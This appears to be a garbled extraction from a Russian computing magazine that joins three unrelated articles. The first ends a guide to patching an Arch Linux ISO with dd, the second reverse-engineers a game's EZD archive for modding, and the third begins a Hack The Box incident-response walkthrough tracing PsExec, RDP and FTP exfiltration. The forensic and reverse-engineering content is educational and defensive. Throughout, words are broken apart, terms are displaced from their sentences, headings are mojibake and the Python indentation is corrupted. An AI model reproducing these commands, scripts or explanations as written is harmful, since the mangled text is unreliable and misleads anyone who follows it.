........| 
00000050  bd cc 09 00 00 09 cc bd  25 2f 45 00 00 00 00 00  
|........%/E.....| 
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  
|................| 
00000070  00 00 00 00 00 00 00 00  01 00 00 01 01 00 00 01  
|................| 
00000080

По струк туре этот заголо вок сов пада ет с рас смот ренным выше пер вичным
заголов ком.

 

 

$ dd iflag=skip_bytes if=arch_lowram.iso bs=128 skip=37677 | hexdump -C 
1+0 records in 
1+0 records out 
00000000  32 30 32 34 30 36 30 35  31 31 31 31 30 39 30 30  
|2024060511110900| 
00000010  f0 32 30 32 34 30 36 30  35 31 31 31 31 30 39 30  
|.202406051111090| 
00000020  30 f0 30 30 30 30 30 30  30 30 30 30 30 30 30 30  
|0.00000000000000| 
00000030  30 30 00 32 30 32 34 30  36 30 35 31 31 31 31 30  
|00.2024060511110| 
00000040  39 30 30 f0 01 00 20 20  20 20 20 20 20 20 20 20  |900...          
| 
00000050  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                
| 
* 
00000080

Итак, наша задача сос тоит в том, что бы поменять в фай ле 
зна чение 2024060511110900 на 2024060109071800. Для это го сго дит ся ути- 
лита :

arch_lowram.iso

dd

 

 

$ for offset in 33581 33598 33632 37677 37694 37728 ; \ 
  do echo '2024060109071800' | dd conv=nocreat,notrunc oflag=seek_bytes 
\ 
  of=arch_lowram.iso bs=16 count=1 seek=$offset ; \ 
  done 
... 
1+0 records in 
1+0 records out 
16 bytes copied

Ис прав ленный таким обра зом дис три бутив заг ружа ется без оста новок. Но он
все еще несовер шенен. В таком виде он при годен толь ко для заг рузки
на BIOS-сис темах, а для исполь зования на компь юте рах с UEFI надо будет
добавить образ  (EFI System Partition, ESP).сис темно го раз дела EFI

Секреты dd
Оче вид ная «звез да» сегод няшне го обзо ра — ути лита . Исто рия про- 

исхожде ния ее наз вания пок рыта мра ком, но боль шинс тво 
 о его исто ках в опе рато ре DD (Data Denition, опре деле ние дан ных) язы ка

управле ния задани ями JCL опе раци онной сис темы OS/360.

dd
скло няет ся к вер- 

сии

В сов ремен ных опе раци онных сис темах к коман де  при бега ют, ког да

надо взять дан ные из одно го фай ла (его имя ука зыва ется в парамет ре )
и записать в дру гой файл (задан ный парамет ром ). Если то или иное имя

фай ла не ука зано, то вмес то него исполь зует ся соот ветс тву ющий стан дар- 
тный поток:  или .

dd
if=

of=

stdin stdout
По умол чанию дан ные переда ются отдель ными бай тами, но гораз до быс- 

трее про изво дить обмен более круп ными пор циями — бло ками. Раз мер бло- 
ка ука зыва ется в парамет ре , а количес тво бло ков — в парамет ре .bs= count=

Сме щение отно ситель но начала вход ного фай ла может быть задано
парамет ром , а отно ситель но выход ного фай ла — парамет ром .

Не сов сем оче вид ный момент зак люча ется в том, что по умол чанию эти сме- 
щения дол жны быть ука заны в количес тве бло ков. Что бы отме нить
это положе ние, надо явным обра зом ука зать, что сме щения ука зыва ются
в бай тах, — с помощью парамет ра  для вход ного фай ла

и  — для выход ного.

skip= seek=

iflag=skip_bytes
oflag=seek_bytes

Что бы записать дан ные в середи ну сущес тву юще го фай ла, не пов редив
осталь ное его содер жимое, надо ука зать фла ги, пре дот вра щающие как обну- 
ление раз мера фай ла, так и его усе чение пос ле записи, с помощью парамет- 
ра .conv=nocreat,notrunc

ÎÊÎÍ×ÀÒÅËÜÍÀß ÎÁÐÀÁÎÒÊÀ

В слу чае с Ubuntu добавить под дер жку UEFI не сос тавля ло тру да: файл 

 лежит в катало ге  дис три бути ва, надо лишь добавить соот ветс- 

тву ющую стро ку в коман ду . Но раз работ чики Arch Linux решили
не делать образ ESP дос тупным через фай ловую сис тему дис три бути ва.
Поэто му нам при дет ся извле кать его из ISO. К счастью, сде лать это не очень
труд но. Давай пос мотрим, что пред став ляет собой файл офи циаль ного дис- 
три бути ва Arch Linux:

efi.
img boot/grub

genisoimage

 

 

$ file archlinux-2024.06.01-x86_64.iso 
archlinux-2024.06.01-x86_64.iso: DOS/MBR boot sector;
partition 2 : ID=0xef, start-CHS (0x3b6,0,1), end-CHS (0x3ff,63,32), 
startsector 1945600, 335872 sectors

В глав ной заг рузоч ной записи MBR содер жатся све дения о нуж ном нам раз- 
деле ESP — об этом нед вусмыс ленно говорит иден тифика тор фай ловой сис- 
темы . Зная началь ный сек тор и раз мер, извлечь его из обра за не сос- 

тавит тру да:

0xEF

 

 

$ dd if=archlinux-2024.06.01-x86_64.iso of=efi_boot.img bs=512 
skip=1945600 count=335872 
335872+0 records in 
335872+0 records out 
171966464 bytes copied

Про верим получен ный резуль тат:

 

 

$ file efi_boot.img 
efi_boot.img: DOS/MBR boot sector, code offset 0x58+2, OEM-ID 
"mkfs.fat", 
 Media descriptor 0xf8, sectors/track 32, heads 16, sectors 335872 
(volumes > 32 MB), 
 FAT (32 bit), sectors/FAT 2584, serial number 0x4fbea4f9, label: 
"ARCHISO_EFI"

Мож но даже при мон тировать его к фай ловой сис теме и пос мотреть содер- 
жимое:

mkdir /tmp/efi_boot_img 
sudo mount -t vfat -o ro,loop efi_boot.img /tmp/efi_boot_img 
ls /tmp/efi_boot_img 

 

 
arch  boot  EFI  loader  shellia32.efi  shellx64.efi

И тут у меня воз никло подоз рение...

 

 

$ ls /tmp/efi_boot_img/arch/boot/x86_64 
initramfs-linux.img  vmlinuz-linux

Так и есть! В обра зе ESP лежит копия обра за МФС ,

которую по-хороше му тоже надо заменить исправ ленной. А мож но и не
заменять, если пред положить, что компь юте ры с UEFI, которые нам встре тят- 
ся, будут обла дать дос таточ ным объ емом памяти.

initramfs-linux.img

На этом завер шим крат кое зна комс тво с ESP:

sudo umount /tmp/efi_boot_img 
rmdir /tmp/efi_boot_img 

Вер немся к интегра ции ESP в исправ ленный дис три бутив ный образ. Помес- 
тим его в каталог , что бы он был виден прог рамме :isofs/boot genisoimage

chmod u+w isofs/boot 
mv efi_boot.img isofs/boot/ 

И сге нери руем новый ISO-образ вот такой коман дой:

 

 

$ genisoimage -lrJV 'ARCH_LOWRAM' -input-charset default \ 
  -c boot/syslinux/boot.cat -b boot/syslinux/isolinux.bin \ 
  -no-emul-boot -boot-load-size 4 -boot-info-table \ 
  -eltorito-alt-boot -e boot/efi_boot.img -no-emul-boot \ 
  -o arch_lowram.iso ./isofs 
... 
642237 extents written (1254 MB)

Что бы образ работал не толь ко с опти чес ких дис ков, но и с USB-носите лей,
надо сде лать его гиб ридным:

 

 

$ isohybrid arch_lowram.iso 
isohybrid: Warning: more than 1024 cylinders: 1255 
isohybrid: Not all BIOSes will be able to boot this device

Не забудь, что у толь ко что соз данно го обра за про писа ны «све жие» отметки
даты и вре мени и их надо вос ста новить, как было рас смот рено выше.

ÊÓÄÀ ÒÛ, ÒÐÎÏÈÍÊÀ, ÌÅÍß ÏÐÈÂÅËÀ?

Итак, мы наконец соб рали пол ноцен ный дис три бутив ный носитель Arch Linux,
который мож но исполь зовать на компь юте рах с 512 Мбайт ОЗУ. На нашем
пути встре тилось нес коль ко труд ностей, которые мы пре одо лели с помощью
минималь ного набора инс тру мен тов, име ющих ся в любом дис три бути ве
GNU/Linux. По дороге мы не упус тили слу чая поз накомить ся со струк турой
фай ловой сис темы ISO 9660. В зак лючение мож но ска зать, что даль нейшая
раци ональ ная фраг мента ция обра за МФС может обес печить работу дис три- 
бути ва и на мень ших объ емах памяти. Нап ример, при 384 Мбайт заг рузка
пре рыва ется с сооб щени ем

 

 

:: Mounting '/dev/sr0' to '/run/archiso/bootmnt' 
mount: /run/archiso/bootmnt: unknown filesystem type 'iso9660'

Из-за ошиб ки рас паков ки МФС на ран ней ста дии ока зал ся недос тупен
модуль , где реали зова на под дер жка фай ловой сис темы ISO 9660, хотя

кон соль работа ет как ни в чем не бывало, что даже в такой кон фигура ции
дела ет дис три бутив не сов сем бес полез ным.

isofs

На пос ледок хотелось бы заметить, что тен денция скла дывать в МФС все
что ни попадя идет враз рез с изна чаль ным замыс лом МФС. Напом ню, что он
сос тоял в пре дос тавле нии ядру Linux средств и инс тру мен тов (драй веров
и ути лит) 
на ран нем эта пе заг рузки.

для поис ка и под клю чения основной кор невой фай ловой сис темы

Ос новная кор невая фай ловая сис тема рас полага ется на внеш нем устрой- 
стве, поч ти не пре тен дует на опе ратив ную память и прак тичес ки не име ет
огра ниче ний на свой объ ем. На дис три бутив ных носите лях ее образ рас- 
полага ется в непос редс твен ной бли зос ти от ядра, методы ее обна руже ния
извес тны и хорошо отра бота ны. Поэто му не вид но никаких объ ективных при- 
чин запол нять МФС фай лами, не име ющи ми отно шения к ее основной
задаче.

Од нако, как мы в оче ред ной раз убе дились, по этой сколь зкой тро пин ке
уже доволь но дав но друж но шага ют мно гие популяр ные дис три бути вы.

https://unix.stackexchange.com/questions/572751/how-to-make-a-reproducible-iso-file-with-mkisofs-genisoimage
https://wiki.osdev.org/ISO_9660
https://wiki.archlinux.org/title/EFI_system_partition
https://askubuntu.com/questions/645689/what-does-the-command-name-dd-stand-for
https://www.kernel.org/doc/html/latest/filesystems/ramfs-rootfs-initramfs.html
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ВЗЛОМ

Мож но ли модифи циро вать любимую игру
без дизас сем бле ра? Зап росто. Тебе
понадо бят ся лишь Hex-редак тор и нес коль- 
ко хит рых при емов, которы ми я поделюсь
в этой статье. Мы рас смот рим, как взла- 
мывать неиз вес тные фор маты фай лов,
на при мере все мир но приз нанно го шедев- 
ра — игры «Ядер ный тит бит».

Во мно гих играх ресур сы упа кова ны в спе циаль ный файл — игро вой архив.
Здесь могут лежать модели, тек сту ры, скрип ты, ани мация, зву ки и про чее.
Некото рые раз работ чики не запари вают ся и исполь зуют ZIP, раз ве что
для минималь ной мас киров ки меня ют рас ширение на какой-нибудь про- 
изволь ный набор букв.

Сей час поч ти все игры дела ются на одном из популяр ных движ ков, но в
начале двух тысяч ных раз работ чики еще час тень ко делали всё с нуля. У мно- 
гих фирм были свои уни каль ные наработ ки, которые ложились в осно ву одной
или нес коль ких игр. Пот рошить игры на таких движ ках нам ного инте рес нее,
чем ковырять ассе ты популяр ных движ ков, для которых пол но готово го инс- 
тру мен тария.

SweetScape 010 Editor
Кто-то ска жет, что глав ный инс тру мент хакера — его моз ги. И будет прав.
Но на вто ром мес те — удоб ный Hex-редак тор. Я горячо рекомен дую

. Редак тор кросс-плат формен ный: есть вер сии
для Windows, Linux и macOS.
SweetScape 010 Editor

Даль ше в статье я буду активно исполь зовать встро енный Inspector,
который интер пре тиру ет бай ты как чис ла, даты или ассем блер ные опко ды.
Кли каешь на инте ресу ющий тебя байт и видишь, чем он может быть. Так же
час то быва ет нуж на «линей ка» — выделя ешь мыш кой дан ные и узна ёшь рас- 
сто яние меж ду струк турами.

ÔÎÐÌÀÒ Ñ ÊÈÑËÎÒÍÛÌ ÏÐÈÂÊÓÑÎÌ

Се год ня про дегус тиру ем «Ядер ный тит бит», игру 2003 года, соз данную
при учас тии Дани Шепова лова.

До гадать ся, какой из фай лов в пап ке игры — это архив с ресур сами, мож- 
но, прос то гля нув на раз меры.  самый боль шой и занима- 

ет 216 Мбайт. Это явно наш кли ент. Откры ваем его в Hex-редак торе:

QUEST.ezd

0000h: 65 7A 64 FF 4D 08 00 00 3D 75 02 00 D6 9A 82 0D  ezd.
M...=u..Öš‚. 
0010h: 64 6F 6F 72 5F 30 31 2E 6D 65 61 74 00 00 02 00  door_01.
meat.... 
0020h: 00 00 3D 75 02 00 E1 1C 00 00 09 0A 00 00 64 6F  ..=u..á......
.do 
0030h: 6F 72 5F 30 32 2E 6D 65 61 74 00 00 02 00 00 00  or_02.
meat...... 
0040h: 46 7F 02 00 95 21 00 00 53 0B 00 00 64 6F 6F 72  F...•!..S...
door 
0050h: 5F 30 33 2E 6D 65 61 74 00 00 02 00 00 00 99 8A  _03.
meat......™Š 
0060h: 02 00 71 20 00 00 0F 0B 00 00 64 6F 6F 72 5F 30  ..q ......
door_0 

Обыч но пер вые четыре бай та содер жат сиг натуру фор мата. Здесь мы видим
стро ку , что сов пада ет с рас ширени ем фай ла. Зна чит, это сиг натура.

Если нет явных про тиво речий, про дол жаем раз бор с шагом в четыре бай та.
Струк туры час то вырав нива ются по INT32.

ezd.

Сле дующие четыре бай та: 0x4D080000. Прог рамма соб рана для x86,
поэто му чис ла записа ны в обратном поряд ке бай тов. Таким обра зом,
0x4D080000 интер пре тиру ется как 0x0000084D, что в десятич ной сис теме
рав но 2125. Что это может быть? Воз можно, заголо вок архи ва содер жит чис- 
ло фай лов. Две тысячи — впол не адек ватное чис ло. Про верим эту гипоте зу
поз же.

Да лее идет 0x3D750200, это декоди рует ся в чис ло 161 085, что сос тавля- 
ет 157 Кбайт. Это может быть раз мер текущей струк туры или сме щение
начала сле дующей. Дей стви тель но, по адре су 161 085 закан чива ется спи сок
строк, похожих на име на фай лов.

Сле дующий DWORD — 0xD69A820D, что экви вален тно 226 663 126.
Это точ но раз мер фай ла — 226 663 126 байт.

0x00     657A64FF     ezd.          Сигнатура формата 
0x04     4D080000     2125          Возможно, количество файлов 
0x08     3D750200     161085        Неизвестное смещение 
0x0C     D69A820D     226663126     Размер файла 

Опыт под ска зыва ет, что на 16-м бай те фай ловый заголо вок закан чива ется.
Даль ше сле дуют стро ки, переме шан ные с неиз вес тны ми чис лами. Ско рее
все го, это мас сив струк тур, опи сыва ющих кон крет ные фай лы. Поп робу ем
опре делить раз мер и наз начение всех полей.

Пер вая струк тура начина ется с ASCII-строч ки . Если раз мер

стро ки заранее не ука зан, зна чит, она чита ется до нулево го бай та. До начала
сле дующей стро ки 18 байт. Рас сто яние меж ду слу чай ными стро ками не меня- 
ется, сле дова тель но, это зна чимые поля.

door_01.meat

Срав нивая пред полага емые струк туры, замеча ем пос ле каж дой стро ки
шесть неиз менных зна чений 0x000002000000. Счи таем их кон стан той. Оста- 
ется понять наз начение 12 изме няемых бай тов.

0x10     646F6F725F30312E6D656174     door_01.meat 
0x1C     000002000000                 const 
0x22     3D750200                     161085 
0x26     E11C0000                     7393 
0x2A     090A0000                     2569 

Что сра зу бро сает ся в гла за? Во-пер вых, чис ло 161 085 сов пада ет со сме- 
щени ем из фай лового заголов ка. Веро ятно, это адрес с дан ными пер вого
фай ла. Сле дующие два чис ла могут быть раз мером и кон троль ной сум мой.
Сме щение вто рого фай ла — 163 654. Вычитая сме щение пер вого, получа- 
ем 2569. Зна чит, это поле с раз мером дан ных.

Мы уже зна ем наз вание, сме щение и раз мер каж дого фай ла. Поп робу ем
сох ранить файл извес тно го фор мата. Нап ример,  лежит

по сме щению 226 662 685 и име ет раз мер 441 байт. Любопыт но! Это пос- 
ледний файл в архи ве. Сло жив адрес и раз мер, получа ем сме щение кон ца
фай ла. Зна чит, пред положе ния вер ны. Но вмес то ожи даемо го XML видим
мусор. Дан ные зашиф рованы или сжа ты. Срав ним с любым дру гим XML-фай- 
лом. Пер вые два бай та сов пада ют. Гуг лим 0x78DA и понима ем, что это сиг- 
натура zlib:

gameboom.xml

0x7801  zlib No Compression/low 
0x789C  zlib Default Compression 
0x78DA  zlib Best Compression

Итак, фор мат пал. Про веря ем, что zlib работа ет.

 import zlib

  in_str = '78 DA 63 60 60 62 80 01 46 20 94 60 40 02 21 41 A1 AE 61 
9E C1 9E FE 7E BA 11 6E 9E 3E AE 7A 0C 00 36 EA 05 08'

  data = bytes.fromhex(in_str)
  out = zlib.decompress(data)

    with open('black.TGA', "wb") as output:
   output.write(out)

Пов торя ем с . Рас пакован ный файл занима ет 7393 бай та. Вот

что зна чило то неиз вес тное поле.

door_01.meat

ÁÛÑÒÐÀß ÏÐÎÂÅÐÊÀ ÑÒÐÓÊÒÓÐ

Пе ред тем как писать скрипт, сто ит про верить наши догад ки в Hex-редак торе.
010 Editor исполь зует C-подоб ный язык для шаб лонов и скрип тов, что поз- 
воля ет опе ратив но про верять пред положе ния о струк туре фай ла. Кри вой
шаб лон вылета ет за гра ницу кон ца фай ла или интер пре тиру ет поля одной
из струк тур с ошиб ками. А мы получа ем некото рую связь с реаль ностью.

 struct ITEM_HEADER
{
       local int name_len = Strlen(ReadString(startof(this)));

    CHAR Name[name_len];
        BYTE Const[6] <format=hex>; // 00 00 02 00 00 00
    DWORD Offset;
     DWORD UnPackedSize ;
    DWORD PackedSize;
};

   string read_file_name(ITEM_HEADER & h)
{
    return h.Name;
}

 struct FILE_HEADER
{
        DWORD Signature <format=hex>; // 'ezd\xff'
    DWORD FileCount;
    DWORD EndOfHeaders;
    DWORD FileSize;
};

  FILE_HEADER head <open=true>;

   ITEM_HEADER files[head.FileCount] <optimize=false, read=
read_file_name>;

Мы не узна ем раз мер , пока не под счи таем дли ну стро ки. Заг- 

лянув в справ ку, находим нуж ные фун кции API. К счастью, скрип ты работа ют
даже внут ри шаб лонов. Что бы перемен ная не отоб разилась как часть струк- 
туры, ста вим перед ней . Мы впра ве обра щать ся из одной струк туры

к дру гой, как это сде лано в .

ITEM_HEADER

local
files[head.FileCount]

В тре уголь ных скоб ках ука зыва ются парамет ры отоб ражения полей
или струк туры целиком:

 показы вает стро ку бай тов вмес то чис ла;• <format=hex>

 рас кры вает струк туру при каж дом исполне нии скрип та;• <open=true>

 отклю чает опти миза цию. Ина че мас сив будет сос- 
тоять из копий пер вого эле мен та;

• <optimize=false>

 — имя фун кции, дающей струк туре зна чение,
в нашем деле — имя фай ла.

• <read=read_file_name>

При меня ем шаб лон нажати ем на F5 и нас лажда емся резуль татом.

Фор мат фай ла EZD

Спус каем ся к пос ледней струк туре и видим, что записей о фай лах нам ного
боль ше. Но они не име ют ссы лок на дан ные и содер жат исходный путь. Нап- 
ример:

D:\HoloSpace3D\maket\1\MEAT_MAT\club-bar02\bar02stol.meat 

Ви димо, их оста вили для отладки. Как и пред полага лось, рабочих фай лов
ров но 2125. Фор мат пол ностью разоб ран.

ÏÈØÅÌ ÔÈÍÀËÜÍÛÉ ÑÊÐÈÏÒ

Ос талось накидать скрипт, который будет извле кать фай лы.

 import os
 import zlib
 import struct

   from collections import namedtuple

     
 

FILE_HEADER = namedtuple('FILE_HEADER', ['Signature', 'FileCount',
'EndOfHeaders', 'FileSize'])

      
 

ITEM_HEADER = namedtuple('ITEM_HEADER', ['Name', 'Const', 'Offset',
'UnPackedSize', 'PackedSize'])

   os.makedirs('files', exist_ok = True)

    with open('QUEST.ezd', "rb") as input:

     data = input.read()
      file_header = FILE_HEADER(*struct.unpack('LLLL', data[0:16]))
     offset = 16

      for i in range(file_header.FileCount):

          name_end = data.find(b'\x00', offset)
           name_len = name_end - offset

           struct_end = name_end + 18
         struct_body = data[offset:struct_end]
  

 
       item_header = ITEM_HEADER(*struct.unpack(f'<{name_len}s6sLLL'
, struct_body))

           file_body = data[item_header.Offset:item_header.Offset +
item_header.PackedSize]

         unpacked = zlib.decompress(file_body)

         file_name = item_header.Name.decode('utf-8')

           with open(f'files/{file_name}', "wb") as output:
           output.write(unpacked)

           offset = name_end + 18

За пус каем его, и в пап ке с архи вом появ ляют ся ресур сы игры в пер воздан- 
ном виде.

ÂÍÎÑÈÌ ÈÇÌÅÍÅÍÈß

Хо чешь не толь ко вытащить ресур сы, но и побало вать ся, меняя изоб ражения
и тек сты в любимой игре? Лег ко! Можем даже не пересо бирать архив
целиком: ста рые фай лы мож но заменить новыми пря мо в Hex-редак торе.
Нуж но толь ко не забыть упа ковать их при помощи zlib. В этом поможет вот
такой нес ложный скрип тик:

 import zlib

  file_name = 'podvor_render_cc.tga.tga'

    with open(file_name, "rb") as input:

     data = input.read()
      level = 9 # Z_BEST_COMPRESSION
        packed = zlib.compress(data, level = level)
     out_name = f'{file_name}.{level}.zlib'

       with open(out_name, "wb") as output:
       output.write(packed)

Из-за осо бен ностей TGA-тек стур мы никак не можем пов лиять на раз мер сох- 
раня емо го гра фичес ким редак тором фай ла. Но можем умень шить количес- 
тво исполь зуемых цве тов, что повысит эффектив ность сжа тия и поможет zlib
соз давать фай лы мень шего раз мера.

Ди ало ги хра нят ся в XML. Нам опять же понадо бит ся впи сать ся в гра ницы
ста рого раз мера, поэто му сок ратим текст в про изволь ном мес те. Заменя ем
фай лы и про буем рас паковать архив прош лым скрип том. Оши бок не най- 
дено, зна чит, все работа ет!

Пер вый мод для «Ядер ного тит бита»

ÂÛÂÎÄÛ

Как видишь, для взло ма полез но понимать, какие дан ные могут хра нить ся
в иссле дуемом кон тей нере. Этим методом мож но вскры вать ресур сы к боль- 
шинс тву игр. Впро чем, при мене ния могут быть и менее безобид ными. Изме- 
нение ресур сов иног да может при вес ти и к выпол нению про изволь ного кода.
Но это уже сов сем дру гая исто рия.

mailto:mr.grogrig@gmail.com
https://sweetscape.com/
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ВЗЛОМ

Се год ня в рам ках рас сле дова ния инци ден- 
та мы с тобой про экс плу ати руем уяз- 
вимость в KeePass, най ден ную в 2023 году,
а затем пос мотрим, как исполь зовать инс- 
тру мент ZUI для ана лиза арте фак тов.

Нам пред сто ит прой ти задание  c ресур са . Его
уро вень слож ности — «безум ный». Мы не будем давать готовых отве тов
на воп росы в задании. Вмес то это го сос редото чим ся на про цес се рас сле- 
дова ния, что бы ты мог при желании пов торить его сам и под смот реть в эту
статью, если вдруг зай дешь в тупик.

Hunter Hack The Box Sherlocks

В опи сании к инци ден ту ска зано:

«
»

Àíà ëèòèê SOC ïîëó÷èë ïðå äóï ðåæäå íèå î âîç ìîæíûõ àòà êàõ lateral
movement è credential stuffing. Ïîñ ëå àíà ëèçà àëåðò áûë ïîä òâåðæäåí.
Ó ñåòåâî ãî ñåí ñîðà áûëè ïðîá ëåìû ñ ïðî èçâî äèòåëü íîñòüþ, ïîýòî ìó
çàõ âà÷åí íå âåñü òðà ôèê.

Для ана лиза даны:
дамп тра фика;•
ар хив с арте фак тами хос та, соб ранный ути литой .• KAPE

В про цес се ана лиза запол ним кар точку инци ден та и сос тавим Incident
Response Plan (IRP) в .IRIS

ÑÎÁÈÐÀÅÌ ÈÍÔÎÐÌÀÖÈÞ Î ÑÈÑÒÅÌÅ

Для получе ния информа ции об име ни ана лизи руемо го хос та вос поль зуем ся
ути литой :Hayabusa

./hayabusa computer-metrics --rules-config ../config/ -d ~/C/ 

Ути лита про ана лизи рует события жур налов Windows и пред ложит нес коль ко
вари антов, с час тотой их упо мина ния:

 — 97 385 упо мина ний;• Forela-Wkstn002.forela.local

 — 6861 упо мина ние;• DESKTOP-H72HB4B

 — 6087 упо мина ний;• Forela-Wkstn002

 — 4 упо мина ния.• FORELA-WKSTN002

Мо жем пред положить, что имя  было до вво да машины

в домен.

DESKTOP-H72HB4B

Боль ше информа ции мы получим из реес тра, для это го вос поль зуем ся
ути литой  и пла гина ми.RegRipper3.0

winver
Вет ка реес тра:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ 

Ко ман да:

regripper -p winver -r CONFIG

Вы вод:

ProductName               Windows 10 Pro N 
ReleaseID                 2009 
BuildLab                  19041.vb_release.191206-1406 
BuildLabEx                19041.1.amd64fre.vb_release.191206-1406 
CompositionEditionID      EnterpriseN 
RegisteredOrganization 
RegisteredOwner           CyberJungle 
InstallDate               2023-03-07 13:14:17Z 
InstallTime               2023-03-07 13:14:17Z 

networklist
Вет ка реес тра:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\
Profiles\ProfileName\ 

Ко ман да:

regripper -p networklist -r CONFIG 

Вы вод:

Network 2 
 Key LastWrite    : 2023-06-21 11:17:27Z 
 DateLastConnected: 2023-06-21 16:17:27 
 DateCreated      : 2023-04-12 21:20:50 
 DefaultGatewayMac: 00-50-56-EE-C1-2F 
 Type             : wired 

forela.local 
 Key LastWrite    : 2023-06-21 11:47:27Z 
 DateLastConnected: 2023-06-21 16:47:27 
 DateCreated      : 2023-03-08 03:25:47 
 DefaultGatewayMac: 00-50-56-EB-C1-1A 
 Type             : wired 

Network 
 Key LastWrite    : 2023-04-12 09:16:14Z 
 DateLastConnected: 2023-04-12 14:16:14 
 DateCreated      : 2023-03-07 17:51:47 
 DefaultGatewayMac: 00-50-56-EB-C1-1A 
 Type             : wired 

Domain/IP forela.local 

compname
Вет ка реес тра:

HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ 

Ко ман да:

regripper -p compname -r SYSTEM 

Вы вод:

ComputerName    = forela-wkstn002 
TCP/IP Hostname = Forela-Wkstn002 

ips
Вет ка реес тра:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces 

Ко ман да:

IPAddress 172.17.79.131 

Ре зуль таты:
до мен — ;• forela.local

хост — ;• forela-wkstn002

IP — .• 172.17.79.131

До бав ляем все най ден ное в IRIS.

Продолжение статьи →

https://app.hackthebox.com/sherlocks/Hunter
https://app.hackthebox.com/sherlocks?sort_type=asc
https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape
https://dfir-iris.org/
https://github.com/Yamato-Security/hayabusa?tab=readme-ov-file#computer-metrics-command
https://github.com/keydet89/RegRipper3.0/tree/master
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ÀÍÀËÈÇÈÐÓÅÌ ÔÀÉË PCAP

Ана лиз арте фак тов хос та, безус ловно, дает огромное количес тво информа- 
ции о про изо шед ших событи ях, но я начал с прос мотра тра фика, что бы
понять, какие вза имо дей ствия были с ана лизи руемой машиной.

Для ана лиза PCAP-фай ла я исполь зовал  и .ZUI Wireshark

INFO

Под робнее о ZUI читай в статье «

».

ZUI. Ана лизи- 
руем тра фик с помощью нового быс тро го инс тру- 
мен та

Нач нем с алер тов сиг натур опен сор сной IDS Suricata.

Алер ты Suricata

В гла за бро сает ся исполь зование Kali Linux, о чем говорит вот эта сиг натура:

ET POLICY Possible Kali Linux hostname in DHCP Request Packet 

Най дем информа цию об исполь зовании DCHP:

 | _path=="dhcp" select ts, client_addr, server_addr, mac, host_name, 
client_fqdn, domain, assigned_addr 

В 11:31:18 21 июня 2023 года хос ту  наз начен IP 172.17.79.133. Добавим

это в тай млайн IRIS.

kali

Ис поль зование DHCP

Так же мы видим, что в широко веща тель ном домене есть сле дующие хос ты:
172.17.79.131 —  (ана лизи руемый
нами хост);

• Forela-Wkstn002.forela.local

172.17.79.132 — .• DESKTOP-887GK2L

Пос мотрим, с кем вза имо дей ство вал 

(172.17.79.131). Для начала сде лаем сор тиров ку по тегам.

Forela-Wkstn002.forela.local

Ста тис тика по тегам

FTP
Пос мотрим тег :ftp

 |   ts fuse | 172.17.79.131 | _path=="ftp" sort -r

Уви дим сетевые вза имо дей ствия с FTP-сер вером .13.235.18.128
Да вай под робнее пос мотрим в Wireshark:

ftp || ftp-data 

Об наружим авто риза цию на FTP-сер вере.

Ав ториза ция по про токо лу FTP

Пос мотрим, какие фай лы эксфиль тро вал зло умыш ленник, и сох раним их.

Эк сфиль тро ван ные фай лы

Вре мя сетево го вза имо дей ствия: .

Набор фай лов  и  ука зыва ет на то, что хакер

мог извлечь пароли из базы дан ных, исполь зуя уяз вимость CVE-2023-32784.

12:20:16.012196 — 12:23:04.994762
keepassproc.zip Database.kdbx

SMB
Пос мотрим сетевые соеди нения, тег :conn

fuse | 172.17.79.131 | _path=="conn"

Со бытия с тегом conn

Мы видим сес сии от  (172.17.79.133) к 

(172.17.79.131) по 445-му пор ту (SMB). Эта сес сия не была отне сена ана лиза- 
тором к SMB (вспо мина ем, что зах вачен был не весь сетевой тра фик). Перей-
дем в Wireshark.

kali Forela-Wkstn002.forela.local

SMB-сес сии

Сес сия свя зана с Kali, можем пред положить, что исполь зует ся ути лита
impacket-psexec.

Вре мя сетево го вза имо дей ствия: .11:25:09.263058 — 11:33:35.584495

RDP
Про дол жим ана лиз сетевых сес сий и про верим наличие RDP:

 | fuse | 172.17.79.131 | _path=="conn" cut ts,id | 3389 

RDP-сес сии

Пос мотрим в Wireshark:

tcp.port==3389 

RDP-сес сии

Вре мя сетево го вза имо дей ствия: 12:18:35.508604 — 12:23:34.962134
До бавим информа цию об IoC.

Ин форма ция об IoC

И о событи ях.

Тай млайн инци ден та

В резуль тате ана лиза тра фика мы узна ли, что зло умыш ленни ку уда лось ском- 
про мети ровать учет ные дан ные для хос та ,

эксфиль тро вать дамп про цес са и базу дан ных KeePass, а так же архив с про- 
ектом.

Forela-Wkstn002.forela.local

ÀÍÀËÈÇÈÐÓÅÌ ÆÓÐÍÀËÛ ÑÎÁÛÒÈÉ WINDOWS

Нач нем ана лиз арте фак тов Windows, для чего сно ва пус тим в ход .Hayabusa
Пос мотрим свод ку по авто риза циям:

./hayabusa logon-summary -d ~/Hunter_Acquisition/Acquisition/2023-06-
22T092426_Acquisition/C/ 

Свод ка по авто риза циям

Мо жем под твер дить, что с хос та 172.17.79.133 (Kali) было под клю чение
по RDP.

За пус тим ана лиз событий пра вила ми Sigma и hayabusa-rules:

./hayabusa csv-timeline -d ~/C/ --output ~/hayabusa_last.csv --UTC

Свод ка по пра вилам

Сра зу в гла за бро сают ся алер ты:
Defender Alert;•
PowerView PowerShell Cmdlets — ScriptBlock.•

Даль ше работать с резуль татами Hayabusa будем в ZUI.
Да вай поищем авто риза ции с Kali:

EventID==4624. | 172.17.79.133 

Ав ториза ции с Kali

На ши пред положе ния об авто риза циях под твер дились.

PsExec
От филь тру ем события по Logon ID  и уви дим пос ледова тель ность
событий, похожую на работу PsExec. Далее поищем события, свя зан ные
с соз дани ем служб в нуж ный нам интервал вре мени: 

.

0x26fbee

EventID==7045. | 
"2023-06-21"

Об наруже ние PsExec

К инди като рам можем отнести наз вание исполня емо го фай ла и имя служ бы:
служ ба: ;• tFdj

путь к исполня емо му фай лу: ;• %systemroot%\\owUjOMCY.exe

вре мя: .• 2023-06-21T11:19:34

WWW

 (Хаб рахабр)
Де тек тиру ем горизон таль ное переме щение
с SMBExec и AtExec

К сожале нию, событий соз дания или завер шения про цес са в нашем интерва- 
ле нет.

От сутс твие событий соз дания или завер шения про цес сов

